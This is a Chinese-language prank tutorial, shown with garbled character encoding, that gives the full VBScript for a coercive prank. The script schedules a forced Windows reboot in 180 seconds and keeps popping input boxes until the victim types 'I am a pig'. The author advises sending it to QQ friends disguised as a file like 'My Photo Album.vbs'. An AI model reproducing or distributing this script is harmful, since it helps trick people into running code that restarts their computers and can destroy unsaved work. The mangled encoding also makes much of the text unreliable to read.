今天給大家?guī)硪粋€(gè)整人的VBS腳本，對方不說“我是豬”就定時(shí)關(guān)機(jī)的惡搞腳本，如果把他發(fā)給你的QQ好友 他不懂的話如果不輸“我是豬“” 電腦就會在你設(shè)定的時(shí)間內(nèi)關(guān)機(jī)。我在以下代碼內(nèi)設(shè)置的是3分鐘。
1、新建文本文檔，復(fù)制代碼。
代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關(guān)你機(jī)，不信，你試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關(guān)機(jī)，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵，豬"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"
其中，cmd.exe /c shutdown -r -t 180 -c這里的數(shù)字可以修改關(guān)機(jī)時(shí)間為任意（秒）
2、保存記事本文檔，把txt文件的后綴名txt改成vbs。可以把名字寫成如“我的相冊.vbs”吸引人的字眼。
3、雙擊運(yùn)行，查看效果。
如果不說“我是豬”或者輸入其他字的話，就會重復(fù)窗口，直到說“我是豬”為止。繼而彈出以下窗口：
如果不小心自己點(diǎn)開了，有兩種解決方法：一是的輸入“我是豬”進(jìn)行解除；二是按Windows+R鍵打開運(yùn)行輸入shutdown -a來解除關(guān)機(jī)命令（注意此時(shí)不要點(diǎn)擊正在運(yùn)行的彈窗的任何按鈕），接著打開任務(wù)管理器找到wscript并結(jié)束進(jìn)程就OK 啦。
